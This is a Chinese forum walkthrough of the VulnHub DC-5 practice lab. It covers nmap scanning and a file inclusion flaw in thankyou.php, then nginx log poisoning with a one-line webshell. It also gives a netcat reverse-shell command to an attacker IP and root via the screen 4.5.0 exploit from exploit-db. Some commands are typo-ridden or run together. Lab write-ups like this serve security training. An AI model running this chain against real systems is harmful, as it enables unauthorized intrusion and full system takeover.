vulnhub DC-5靶场
1.信息收集扫描主机
sudo arp-scan -l
https://s2.loli.net/2023/12/12/Ds6Ny1xtbXFrQua.png
扫描端口
nmap -p- 192.168.42.149
https://s2.loli.net/2023/12/12/qsxALOhMcyfQFEG.png
扫描指纹
whatweb 192.168.42.149
https://s2.loli.net/2023/12/12/SidhBlD7y3wTIkW.png
查看端口详细服务
nmap -A -p- -v 192.168.42.149
https://s2.loli.net/2023/12/12/FVl6WzHTnDS9KeI.png
2.网站分析
扫描目录
dirbuster
https://s2.loli.net/2023/12/12/plB3H7q1no6iJtV.png
浏览网站，发现都是静态页面
https://s2.loli.net/2023/12/12/JTuw7inGjUvk1Al.png
只有contact.php有上传窗口
https://s2.loli.net/2023/12/12/xktgChOwAslUcQ3.png
尝试上传，发现问题copyright旁的数字发生变化，猜测thankyou.php存在文件包含
https://s2.loli.net/2023/12/12/cyuHPlCVXLmFYzt.png
https://s2.loli.net/2023/12/12/4yRVQdhiIJb3fmg.png
包含文件为footer.php
https://s2.loli.net/2023/12/12/QSHMc3rAiKwDvhW.png
3.漏洞利用
开始bp测试字段(下面没图了，bp爆破，网站日志太大，无法连接蚁剑，建议大家在此靶场不要跑bp)
https://s2.loli.net/2023/12/12/gBNIGfH7DS9Txc5.png
thankyou.php?file=/ect/passwd
植入一句话木马
thankyou.php?file=
由于前面信息收集我们确认了是nginx的站，访问日志和错误日志应该如下
/var/log/nginx/access.log
/var/log/nginx/error.log
文件包含，蚁剑连接shell
thankyou.php?file=/var/log/nginx/error.log
cmd
将shell反弹到kali上便于操作
s:nc hackip 8888 -e /bin/sh
监听
hack:nc -lvp 8888
优化界⾯
python -c "import pty;pty.spawn('/bin/bash')"
4.提升权限
提权常规命令
sudo -l
find / -perm -u=s -type f 2>/dev/null
提权命令网站
https://gtfobins.github.io/
发现screen 4.5.0，查找他的漏洞
searchsploit screen 4.5.0
searchsploit -m linux/local/41154.sh
真实目录
usr/share/exploitdb/exploits/linux/local/41154.sh
然后在桌面上用vim打开文件
发现脚本由三部分组成，两个c文件，一个命令集，拆分为三部分
kali监听端口
python -m SimpleHTTPServer 8000
攻击机在kali上下载脚本
``wget 192.168.42.149:8888/libhax.cwget 192.168.42.149:8888/rootshell.cwget 192.168.42.149:8888/dc5.sh`
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
chmod +x dc5.sh
./dc5.sh
提权成功
（后面会在做一次，补一下图片）
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！
页:
[1]